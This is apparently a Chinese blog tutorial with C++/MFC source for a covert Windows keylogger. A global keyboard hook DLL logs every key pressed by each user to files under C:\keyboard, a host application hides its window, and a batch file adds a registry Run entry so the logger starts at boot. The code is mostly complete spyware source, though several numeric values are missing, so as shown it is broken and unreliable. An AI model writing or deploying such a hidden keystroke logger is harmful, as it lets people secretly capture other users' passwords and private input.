本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

  • 全局钩子DLL

创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,

定义全局变量:

#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()

在DLL入口函数中,添加获取钩子实例句柄的代码:

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// Remove this if you use lpReserved
UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("KEYBOARDHOOK.DLL Initializing!\n"); // Extension DLL one-time initialization
if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
return ; new CDynLinkLibrary(KeyBoardHookDLL);
pinstance = hInstance; //获取钩子实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
// Terminate the library before destructors are called
AfxTermExtensionModule(KeyBoardHookDLL);
}
return ; // ok
}

全局钩子的具体实现代码:

//保存日志文件
extern "C" void SaveLog(char* c)
{
//printf("刚才点击的是%c键/n", &c);
//char buffer[80];
//wsprintf(buffer, "c的值是%c", c);
//AfxMessageBox(buffer);
const int MAX_BUFFER_LEN = ;
char szBuffer[MAX_BUFFER_LEN];
DWORD dwNameLen; dwNameLen = MAX_BUFFER_LEN;
GetUserName(szBuffer, &dwNameLen); CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,);
file.Close();
} //键盘钩子回调函数
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam)
{
LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
if(nCode == HC_ACTION){
if(lParam & 0x80000000){
char c[];
c[]=wParam;
//AfxMessageBox(c);
SaveLog(c);
}
} return Result;
} //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
extern "C" bool WINAPI InstallHook()
{
// AfxMessageBox("anzhuang");
hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, );
if(hhook != NULL)
return true;
else
return false;
}

用def文件导出DLL函数,在KeyBoardHook.def中添加:

EXPORTS
; Explicit exports can go here
InstallHook @ //dll导出函数的名称为InstallHook,序号为1

至此,编译并运行,程序的DLL部分便完成了。

  • 负责调用DLL的单文档应用程序

创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

//安装钩子函数
extern "C" bool WINAPI InstallHook();

在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

void CKeyBoardHookAppView::OnInitialUpdate()
{
CView::OnInitialUpdate(); // TODO: Add your specialized code here and/or call the base class
InstallHook();
}

最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

  • 设置本程序随开机自启动

使用bat批处理来制作安装和卸载

md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。

参考:

《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

VC++开发Windows系统全局钩子的更多相关文章

  1. VC++ 获取windows系统的版本类型

    vc中获取windows版本信息,一般是调用GetVersionEx 这个API函数来获取的,这个API需要OSVERSIONINFOEX 这个结构体作为参数,OSVERSIONINFOEX 的对应的 ...

  2. VC++ 获取Windows系统版本号、CPU名称

    转载:https://blog.csdn.net/sunflover454/article/details/51525179 转载:https://blog.csdn.net/magictong/ar ...

  3. windows 键盘全局钩子

    // HookapiTest.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #inc ...

  4. 【旧文章搬运】Windows中全局钩子DLL的加载过程

    原文发表于百度空间,2011-03-24========================================================================== 看雪上别人 ...

  5. 安全之路 —— 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  6. Windows系统VSCode、VBox搭建C/C++开发环境

    好几年没有写过C/C++代码,基本上都忘光了,之前是使用VC++6.0写代码的,最近用VSCode成功搭建了C/C++开发环境,这里记录一下搭建过程. 1. 安装VSCode 在官网https://c ...

  7. 使用Windows全局钩子打造键盘记录器

    简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...

  8. WSL2:在Windows系统中开发Linux程序的又一神器

    作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...

  9. 2013-6-2 [转载自CSDN]如何入门Windows系统下驱动开发

    [序言]很多人都对驱动开发有兴趣,但往往找不到正确的学习方式.当然这跟驱动开发的本土化资料少有关系.大多学的驱动开发资料都以英文为主,这样让很多驱动初学者很头疼.本人从事驱动开发时间不长也不短,大概 ...

随机推荐

  1. discuz目录结构和插件创建

    discuz目录结构 api 外部接口功能实现 archiver 静态文档,静态化所用 config 配置 data 生成的数据 install 安装目录 source 源代码核心目录 |--modu ...

  2. docker实战

    docker基础入门 docker网络

  3. JavaScript跨域总结与解决办法(转)

    什么是跨域 1.document.domain+iframe的设置 2.动态创建script 3.利用iframe和location.hash 4.window.name实现的跨域数据传输 5.使用H ...

  4. [SoapUI] Datasink怎么显示每次循环的结果

    https://www.soapui.org/reporting/the-report-datasink.html

  5. Autotest Weekly Report

    Autotest Weekly Report Reported by: 12/16/2013 What I Did Last Week Debug autotest scripts of ‘smart ...

  6. OSGi 系列(三)之 bundle 事件监听

    OSGi 系列(三)之 bundle 事件监听 bundle 的事件监听是在 bundle 生命周期的不同状态相互转换时,OSGi 框架会发出各种不同的事件供事先注册好的事件监听器处理. 1. 事件监 ...

  7. 2018.06.29 NOIP模拟 区间(前缀和差量)

    区间(interval.cpp) 时限:2000ms 空间限制:512MB [问题描述] 给出一个长度为 n 的序列 a[1]-a[n]. 给出 q 组询问,每组询问形如<x,y>< ...

  8. 2018.09.01 loj#2330. 「清华集训 2017」榕树之心(树形dp)

    传送门 树形dp好题啊. 我们用w[i]" role="presentation" style="position: relative;">w[ ...

  9. Instantiation of bean failed; nested exception is org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [com.liuyang.JDbCTemplate.PersonDao]: No default constructor fo

    错误是说我的配置文件中没有对构造函数进行配置,所以找不到构造函数,在配置文件application.xml中加入如下句子: <bean id="personDao" clas ...

  10. cxf-rs 和 swagger 的点

    1. 从web.xml 说起 <servlet> <servlet-name>CXFServlet</servlet-name> <servlet-class ...